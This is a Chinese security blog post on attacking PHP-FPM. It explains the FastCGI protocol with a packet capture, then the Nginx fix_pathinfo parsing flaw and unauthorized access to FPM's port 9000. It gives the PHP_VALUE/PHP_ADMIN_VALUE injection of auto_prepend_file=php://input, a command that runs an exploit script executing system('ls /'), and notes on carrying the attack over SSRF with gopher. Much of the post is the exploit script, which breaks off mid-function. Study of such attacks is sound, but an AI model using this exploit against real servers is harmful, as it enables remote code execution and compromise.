Miracle
文章8
标签4
分类4

文章分类

文章归档

攻击PHP-FPM

攻击PHP-FPM

Nginx与PHP-FPM

Nginx

​ Nginx (“engine x”) 是一个高性能的HTTP和反向代理服务器,也是一个IMAP/POP3/SMTP服务器。

PHP-FPM

​ FPM(php-Fastcgi Process Manager)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。故名思义,FPM是管理FastCGI进程的,能够解析fastcgi协议。

​ 其包含master和worker两种进程.master进程只有一个,负责监听端口,用来接收来自Web Sever请求,而worker进程一般会有多个,每个进程内部都嵌入了一个PHP解释器,是php真正执行的地方.

php-fpm默认是unix socket连接,可以在配置文件中修改成tcp连接

Nginx与PHP-FPM通信

Nginx通过反向代理将请求转给PHP-FPM解析.

image

CGI与FastCGI

CGI

​ CGI(Common Gateway Interface)通用网关接口,在CGI模式下,当web服务器收到http请求时,就会调用php-cgi进程,通过CGI协议,服务器把请求内容转换成php-cgi能够读懂的协议数据传递给CGI进程,CGI进程拿到内容后就会解析对应的php文件,得到结果在返回给web服务器,由web服务器再返回给客户端.

​ 但是在CGI模式下,每次客户端发起请求都需要建立和销毁进程,导致资源消耗很大.因为http要生成一个动态页面,系统就必须启动一个新进程以运行CGI程序,不断地fork是一项很耗时间和资源的工作,所以诞生了FastCGI模式.

FastCGI

​ FastCGI (Fast Common Gateway Interface)快速通用网关接口.FastCGi致力于减少网页服务器与CGI程序之间交互的开销,FastCGI每次处理完请求后,不会kill掉这个进程,而是保留进程,从而使服务器可以同时处理更多的网页请求.

​ 简而言之,CGI模式是Apache2接收到请求去调用CGI程序,而FastCGI模式是FastCGI进程自己管理自己的CGI进程,而不再是Apache去主动调用CGI进程,而FastCGI进程又提供了很多辅助功能比如内存管理、垃圾处理、保障了CGI的高效性,并且此时CGI是常驻在内存中、不会每次请求重新启动,从而使得性能得到质的提高.

FastCGI协议分析

Tcpdump抓包Nginx中FastCGI协议

Fastcgi record

​ FastCGI是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道.

​ 类比HTTP协议来说,fastcgi协议是服务器中间件和摸个语言后端进行数据交换的协议.fastcgi协议由多个record组成,record也有headerbody,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码后得到具体数据,进行指定操作,并将结果在按照该协议封装好后返回给服务器中间件.

​ 和HTTP头不同的是,record的头固定8个字节,body是由头中的contentLength指定,结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;
/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;

​ Header头由8个uchar类型的变量组成,每个变量1字节.其中,requestld占两个字节,一个是唯一的标志id,用来避免多个请求之间的影响;contenLength占两个字节,表示body的大小.

​ 在语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流中读取大小等于contentLenth的数据,这就是body体.

​ body后面还以一段额外的数据Padding,其中长度由头中的paddingLength指定,起保留作用.不需要该Padding的时候,将其长度设置为0即可

由此可见,一个fastcgi的record结构最大支持的body大小是2^16,65536字节.

Fastcgi type

​ 现在再来详细介绍一下fastcgi record中的type字节.

type就是指定该record的作用.因为fastcgi的一个record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流中传输多个record,通过type来标志每个record的作用,用requestid作为同义词请求的id.

​ 所以在一次请求中,多个record的requestid是相同的。

type值的具体含义:

image

​ 看到这个图我们可以知道,在服务器中间件与后端交互时,第一个数据包record的type=1,之后继续交互发送type=4,5,6,7的record,结束时发送type=2,3的record.

当后端语言接收到一个type为4的record后,就会把这个record的body按照对应结构解析成key-value对,这就是php的环境变量,其结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength];
unsigned char valueData[valueLength];
} FCGI_NameValuePair11;
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength];
} FCGI_NameValuePair41;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

这其实是 4 个结构,至于用哪个结构,有如下规则:

  1. key、value均小于128字节,用 FCGI_NameValuePair11
  2. key大于128字节,value小于128字节,用 FCGI_NameValuePair41
  3. key小于128字节,value大于128字节,用 FCGI_NameValuePair14
  4. key、value均大于128字节,用 FCGI_NameValuePair44

抓包流量分析

使用tcpdump抓取端口9000的包,追踪其tcp流:

image-20240918150308863

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
00000000  01 01 00 01 00 08 00 00  00 01 00 00 00 00 00 00   ........ ........
00000010 01 04 00 01 05 47 01 00 0c 00 51 55 45 52 59 5f .....G.. ..QUERY_
00000020 53 54 52 49 4e 47 0e 04 52 45 51 55 45 53 54 5f STRING.. REQUEST_
00000030 4d 45 54 48 4f 44 50 4f 53 54 0c 21 43 4f 4e 54 METHODPO ST.!CONT
00000040 45 4e 54 5f 54 59 50 45 61 70 70 6c 69 63 61 74 ENT_TYPE applicat
00000050 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 ion/x-ww w-form-u
00000060 72 6c 65 6e 63 6f 64 65 64 0e 01 43 4f 4e 54 45 rlencode d..CONTE
00000070 4e 54 5f 4c 45 4e 47 54 48 33 0b 06 53 43 52 49 NT_LENGT H3..SCRI
00000080 50 54 5f 4e 41 4d 45 2f 31 2e 70 68 70 0b 06 52 PT_NAME/ 1.php..R
00000090 45 51 55 45 53 54 5f 55 52 49 2f 31 2e 70 68 70 EQUEST_U RI/1.php
000000A0 0c 06 44 4f 43 55 4d 45 4e 54 5f 55 52 49 2f 31 ..DOCUME NT_URI/1
000000B0 2e 70 68 70 0d 0d 44 4f 43 55 4d 45 4e 54 5f 52 .php..DO CUMENT_R
000000C0 4f 4f 54 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c OOT/var/ www/html
000000D0 0f 08 53 45 52 56 45 52 5f 50 52 4f 54 4f 43 4f ..SERVER _PROTOCO
000000E0 4c 48 54 54 50 2f 31 2e 31 0e 04 52 45 51 55 45 LHTTP/1. 1..REQUE
000000F0 53 54 5f 53 43 48 45 4d 45 68 74 74 70 11 07 47 ST_SCHEM Ehttp..G
00000100 41 54 45 57 41 59 5f 49 4e 54 45 52 46 41 43 45 ATEWAY_I NTERFACE
00000110 43 47 49 2f 31 2e 31 0f 0c 53 45 52 56 45 52 5f CGI/1.1. .SERVER_
00000120 53 4f 46 54 57 41 52 45 6e 67 69 6e 78 2f 31 2e SOFTWARE nginx/1.
00000130 32 30 2e 32 0b 0c 52 45 4d 4f 54 45 5f 41 44 44 20.2..RE MOTE_ADD
00000140 52 31 39 32 2e 31 36 38 2e 32 30 2e 31 0b 05 52 R192.168 .20.1..R
00000150 45 4d 4f 54 45 5f 50 4f 52 54 36 34 32 35 36 0b EMOTE_PO RT64256.
00000160 0a 53 45 52 56 45 52 5f 41 44 44 52 31 37 32 2e .SERVER_ ADDR172.
00000170 31 37 2e 30 2e 32 0b 02 53 45 52 56 45 52 5f 50 17.0.2.. SERVER_P
00000180 4f 52 54 38 30 0b 09 53 45 52 56 45 52 5f 4e 41 ORT80..S ERVER_NA
00000190 4d 45 6c 6f 63 61 6c 68 6f 73 74 0f 03 52 45 44 MElocalh ost..RED
000001A0 49 52 45 43 54 5f 53 54 41 54 55 53 32 30 30 0f IRECT_ST ATUS200.
000001B0 13 53 43 52 49 50 54 5f 46 49 4c 45 4e 41 4d 45 .SCRIPT_ FILENAME
000001C0 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 31 2e /var/www /html/1.
000001D0 70 68 70 09 0e 48 54 54 50 5f 48 4f 53 54 31 39 php..HTT P_HOST19
000001E0 32 2e 31 36 38 2e 32 30 2e 31 32 39 0f 0a 48 54 2.168.20 .129..HT
000001F0 54 50 5f 43 4f 4e 4e 45 43 54 49 4f 4e 6b 65 65 TP_CONNE CTIONkee
00000200 70 2d 61 6c 69 76 65 13 01 48 54 54 50 5f 43 4f p-alive. .HTTP_CO
00000210 4e 54 45 4e 54 5f 4c 45 4e 47 54 48 33 0b 08 48 NTENT_LE NGTH3..H
00000220 54 54 50 5f 50 52 41 47 4d 41 6e 6f 2d 63 61 63 TTP_PRAG MAno-cac
00000230 68 65 12 08 48 54 54 50 5f 43 41 43 48 45 5f 43 he..HTTP _CACHE_C
00000240 4f 4e 54 52 4f 4c 6e 6f 2d 63 61 63 68 65 1e 01 ONTROLno -cache..
00000250 48 54 54 50 5f 55 50 47 52 41 44 45 5f 49 4e 53 HTTP_UPG RADE_INS
00000260 45 43 55 52 45 5f 52 45 51 55 45 53 54 53 31 0b ECURE_RE QUESTS1.
00000270 15 48 54 54 50 5f 4f 52 49 47 49 4e 68 74 74 70 .HTTP_OR IGINhttp
00000280 3a 2f 2f 31 39 32 2e 31 36 38 2e 32 30 2e 31 32 ://192.1 68.20.12
00000290 39 11 21 48 54 54 50 5f 43 4f 4e 54 45 4e 54 5f 9.!HTTP_ CONTENT_
000002A0 54 59 50 45 61 70 70 6c 69 63 61 74 69 6f 6e 2f TYPEappl ication/
000002B0 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e x-www-fo rm-urlen
000002C0 63 6f 64 65 64 0f 6f 48 54 54 50 5f 55 53 45 52 coded.oH TTP_USER
000002D0 5f 41 47 45 4e 54 4d 6f 7a 69 6c 6c 61 2f 35 2e _AGENTMo zilla/5.
000002E0 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 0 (Windo ws NT 10
000002F0 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 .0; Win6 4; x64)
00000300 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e AppleWeb Kit/537.
00000310 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 36 (KHTM L, like
00000320 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 31 32 Gecko) C hrome/12
00000330 38 2e 30 2e 30 2e 30 20 53 61 66 61 72 69 2f 35 8.0.0.0 Safari/5
00000340 33 37 2e 33 36 0b 80 00 00 87 48 54 54 50 5f 41 37.36... ..HTTP_A
00000350 43 43 45 50 54 74 65 78 74 2f 68 74 6d 6c 2c 61 CCEPTtex t/html,a
00000360 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c pplicati on/xhtml
00000370 2b 78 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e +xml,app lication
00000380 2f 78 6d 6c 3b 71 3d 30 2e 39 2c 69 6d 61 67 65 /xml;q=0 .9,image
00000390 2f 61 76 69 66 2c 69 6d 61 67 65 2f 77 65 62 70 /avif,im age/webp
000003A0 2c 69 6d 61 67 65 2f 61 70 6e 67 2c 2a 2f 2a 3b ,image/a png,*/*;
000003B0 71 3d 30 2e 38 2c 61 70 70 6c 69 63 61 74 69 6f q=0.8,ap plicatio
000003C0 6e 2f 73 69 67 6e 65 64 2d 65 78 63 68 61 6e 67 n/signed -exchang
000003D0 65 3b 76 3d 62 33 3b 71 3d 30 2e 37 0c 1b 48 54 e;v=b3;q =0.7..HT
000003E0 54 50 5f 52 45 46 45 52 45 52 68 74 74 70 3a 2f TP_REFER ERhttp:/
000003F0 2f 31 39 32 2e 31 36 38 2e 32 30 2e 31 32 39 2f /192.168 .20.129/
00000400 31 2e 70 68 70 14 0d 48 54 54 50 5f 41 43 43 45 1.php..H TTP_ACCE
00000410 50 54 5f 45 4e 43 4f 44 49 4e 47 67 7a 69 70 2c PT_ENCOD INGgzip,
00000420 20 64 65 66 6c 61 74 65 14 17 48 54 54 50 5f 41 deflate ..HTTP_A
00000430 43 43 45 50 54 5f 4c 41 4e 47 55 41 47 45 7a 68 CCEPT_LA NGUAGEzh
00000440 2d 43 4e 2c 7a 68 3b 71 3d 30 2e 39 2c 65 6e 3b -CN,zh;q =0.9,en;
00000450 71 3d 30 2e 38 0b 80 00 00 fa 48 54 54 50 5f 43 q=0.8... ..HTTP_C
00000460 4f 4f 4b 49 45 4a 53 45 53 53 49 4f 4e 49 44 3d OOKIEJSE SSIONID=
00000470 41 38 44 35 46 42 34 45 45 42 45 41 43 37 34 44 A8D5FB4E EBEAC74D
00000480 42 32 42 37 37 44 41 32 43 31 45 43 35 39 42 42 B2B77DA2 C1EC59BB
00000490 3b 20 50 48 50 53 45 53 53 49 44 3d 32 68 63 74 ; PHPSES SID=2hct
000004A0 70 62 69 63 63 37 66 68 39 32 37 30 6a 6b 62 75 pbicc7fh 9270jkbu
000004B0 6b 63 61 63 62 61 3b 20 73 65 73 73 69 6f 6e 3d kcacba; session=
000004C0 65 79 4a 6a 63 33 4a 6d 58 33 52 76 61 32 56 75 eyJjc3Jm X3Rva2Vu
000004D0 49 6a 6f 69 4d 7a 45 34 4d 7a 64 69 59 6d 49 78 IjoiMzE4 MzdiYmIx
000004E0 4e 32 5a 68 4e 6a 46 6d 4d 6a 6b 32 4f 47 45 33 N2ZhNjFm Mjk2OGE3
000004F0 4e 44 51 30 59 7a 6b 78 4d 44 63 32 4e 6a 4a 6c NDQ0Yzkx MDc2NjJl
00000500 59 57 59 30 4d 6a 5a 6d 5a 69 49 73 49 6d 6c 6b YWY0MjZm ZiIsImlk
00000510 5a 57 35 30 61 58 52 35 49 6a 6f 69 5a 33 56 6c ZW50aXR5 IjoiZ3Vl
00000520 63 33 51 69 4c 43 4a 31 63 32 56 79 62 6d 46 74 c3QiLCJ1 c2VybmFt
00000530 5a 53 49 36 49 6d 68 6a 61 69 4a 39 2e 5a 74 32 ZSI6Imhj aiJ9.Zt2
00000540 56 72 41 2e 6d 68 52 5f 5a 67 72 42 35 57 54 50 VrA.mhR_ ZgrB5WTP
00000550 37 31 47 45 71 7a 55 68 36 44 78 56 70 73 59 00 71GEqzUh 6DxVpsY.
00000560 01 04 00 01 00 00 00 00 01 05 00 01 00 03 05 00 ........ ........
00000570 78 3d 31 00 00 00 00 00 01 05 00 01 00 00 00 00 x=1..... ........

在这个包里能看到许多PHP的SERVER全局变量的参数,把包拆分,第一个包为:

1
01 01 00 01 00 08 00 00  00 01 00 00 00 00 00 00

其中前8位就是我们上面说的record头,它的意思即:

  • version 为 01
  • type 为 01,表示这是第一个包
  • 00 01 表示通信 ID 为 1
  • 00 08 表示 body 大小为8
  • 00 00 表示 padding 长度为 0,没有保留字节

后 8 位则是 body,它的意思是:

  • 00 01 为 role,表示 PHP-FPM 接受我们的 HTTP 所关联的信息,并产生个响应
    role 的取值如下表:

    | role值 | 具体含义 |
    | —— | ———————————————————— |
    | 1 | 最常用的值,php-fpm接受我们的http所关联的信息,并产生个响应 |
    | 2 | php-fpm会对我们的请求进行认证,认证通过的其会返回响应,认证不通过则关闭请求 |
    | 3 | 过滤请求中的额外数据流,并产生过滤后的http响应 |

  • 00 表示不 keep-alive,在处理完一次请求就关闭

  • 五个 00 为保留字段

从数据包我们可以得知这第一个包进行了一些初始设置,再看第二个包:

1
01 04 00 01 05 47 01 00  0c 00 51 55 45 52 59 5f
  • 01 为 version
  • 04 说明在这个包中传递了环境参数
  • 00 01 为通信 ID
  • 05 47 说明 body 长度为 0x547,即 1351
  • 01 00 表示 padding 长度为 1,有1字节的填充数据
Key Value
QUERY_STRING (空字符串)
REQUEST_METHOD POST
CONTENT_TYPE application/x-www-form-urlencoded
CONTENT_LENGTH 3
SCRIPT_NAME /1.php
REQUEST_URI /1.php
DOCUMENT_URI /1.php
DOCUMENT_ROOT /var/www/html
SERVER_PROTOCOL HTTP/1.1
REQUEST_SCHEME http
GATEWAY_INTERFACE CGI/1.1
SERVER_SOFTWARE nginx/1.20.2
REMOTE_ADDR 192.168.20.1
REMOTE_PORT 64256
SERVER_ADDR 172.17.0.2
SERVER_PORT 80
SERVER_NAME localhost
REDIRECT_STATUS 200
SCRIPT_FILENAME /var/www/html/1.php
HTTP_HOST 192.168.20.129
HTTP_CONNECTION keep-alive
HTTP_CONTENT_LENGTH 3
HTTP_PRAGMA no-cache
HTTP_CACHE_CONTROL no-cache
HTTP_UPGRADE_INSECURE_REQUESTS 1
HTTP_ORIGIN http://192.168.20.129
HTTP_CONTENT_TYPE application/x-www-form-urlencoded
HTTP_USER_AGENT Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
HTTP_ACCEPT text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
HTTP_REFERER http://192.168.20.129/1.php
HTTP_ACCEPT_ENCODING gzip, deflate
HTTP_ACCEPT_LANGUAGE zh-CN,zh;q=0.9,en;q=0.8
HTTP_COOKIE JSESSIONID=A8D5FB4EEBEAC74DB2B77DA2C1EC59BB; PHPSESSID=2hctpbicc7fh9270jkbukcacba; session=eyJjc3JmX3Rva2VuIjoiMzE4MzdiYmIxN2ZhNjFmMjk2OGE3NDQ0YzkxMDc2NjJlYWY0MjZmZiIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6ImhjaiJ9.Zt2VrA.mhR_ZgrB5WTP71GEqzUh6DxVpsY
x 1

可以看到,type4中传递的这些key-value,和phpinfo中看到的那些一样

image-20240918192133515

实际上,FPM是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好后通过TCP来将请求发送给FPM.FPM按照fastcgi协议将TCP流解析成真正的数据.

type4发送的这些其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/1.php。

然后再看看最后一个包:

1
2
01 04 00 01 00 00 00 00  01 05 00 01 00 03 05 00
78 3d 31 00 00 00 00 00 01 05 00 01 00 00 00 00

前面的应该是环境变量参数包的结尾,后面的是type=5,POST提交数据的包头,下面是body和post包的结尾.

以上这就是一次Fastcgi请求的包了.

Nginx(IIS7)解析漏洞

Nginx和IIS7曾经出现过一个PHP相关的解析漏,该漏洞现象是,在用户访问http://127.0.0.1/favicon.ico/.php时,访问到的文件是favicon.ico,但却按照.php后缀解析。

当用户请求http://127.0.0.1/favicon.ico/.php时,nginx会发送如下环境变量到fpm里:

1
2
3
4
5
6
7
8
{
...
'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php',
'SCRIPT_NAME': '/favicon.ico/.php',
'REQUEST_URI': '/favicon.ico/.php',
'DOCUMENT_ROOT': '/var/www/html',
...
}

正常来说这里SCRIPT_FILENAME访问的是一个不存在的文件,但是PHP设置中有一个选项fix_pathinfo导致了

此漏洞.在这个选项被打开的情况下,fpm会判断SCRIPT_FILENAME是否存在,如果不存在则去掉去掉一个/及以后的所有内容,并再次判断文件是否存在,循环类推.

也因此,在第一次访问/var/www/html/favicon.ico/.php时发现不存在,再次查询/var/www/html/favicon.ico发现存在,于是被作为php文件执行,导致解析漏洞.

正确的解决方法有两种,一是在Nginx端使用fastcgi_split_path_info将path info信息去除后,用tryfiles判断文件是否存在;二是借助PHP-FPM的security.limit_extensions配置项,避免其他后缀文件被解析。

PHP-FPM未授权访问漏洞

​ 这个漏洞主要是因为php-fpm对两个进程间通讯没有进行安全性认证,php-fpm默认监听的是9000端口,如果这个端口暴露在公网上,我们就可以构造fastcgi协议来和fpm进行通信,通过构造数据包给环境变量赋值,最终可以达到任意文件执行的目的了.

但是由于在php5.3.9之后加入了fpm增加了security.limit_extensions选项

1
2
3
4
5
6
7
; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

导致限制了只有这几种文件允许被fpm执行,默认是.php.

由于这个配置项的限制,如果想利用php-fpm的未授权访问漏洞,首先得先找到一个已存在的php文件,不过在安装php的时候,服务器上都会附带一些php后缀的文件,可以使用find / -name "*.php”来搜索一下

image-20240921191658496

可以看到有个老朋友/usr/local/lib/php/PEAR.php。

PHP-FPM任意代码执行

​ 为什么我们前面说控制了fastcgi协议通信的内容,就可以可执行任意php代码呢?

理论上确实不行,哪怕我们控制了SCRIPT_FILENAME,也是只能执行目标服务器上的文件,并不能任意代码执行。

不过php里面有两个配置项可以解决我们的需求,这两个配置项在学习文件包含中也很常见:auto_prepend_fileauto_append_file

假如我们设置auto_prepend_file=php://input,那么就等于在执行任何php文件前都要包含一遍POST中的内容,所以我们只需要把待执行的代码放在body中,就可以被执行成功了.(不过需要开启远程文件包含选项allow_url_include).

那么我们该如何设置auto_prepend_file的值呢?

PHP-FPM中有两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE.这两个环境变量就是用来设置php配置选项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项PHP_ADMIN_VALUE可以设置所有选项,disable_function这个选项除外,这个是php加载的时候就确定的.

所以,我们需要最后传入如下环境变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

设置auto_prepend_file = php://inputallow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码。

使用P神的脚本python fpm.py 192.168.20.129 /var/www/html/index.php -c "<?php system('ls /'); exit(); ?>"

image-20240922140137267

完美拿下!

远程打PHP-FPM

​ 现在我们已经可以通过PHP_VALUE 和 PHP_ADMIN_VALUE 这两个环境变量设置 PHP 配置选项 auto_prepend_file 和 allow_url_include ,从而使 PHP-FPM 执行我们提供的任意代码.如果PHP-FPM被绑定在公网上,那么任何人都可以伪装成中间件来让php-fpm任意代码执行.

也是使用P神的脚本即可,支持python2与3

SSRF打PHP-FPM

使用p神脚本

p神脚本是生成tcp流后直接发送,只需要把发送那部分注释掉即可,再把生成的tcp流前面加上gopher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket
import random
import argparse
import sys
from io import BytesIO
from six.moves.urllib import parse as urlparse
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
#return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
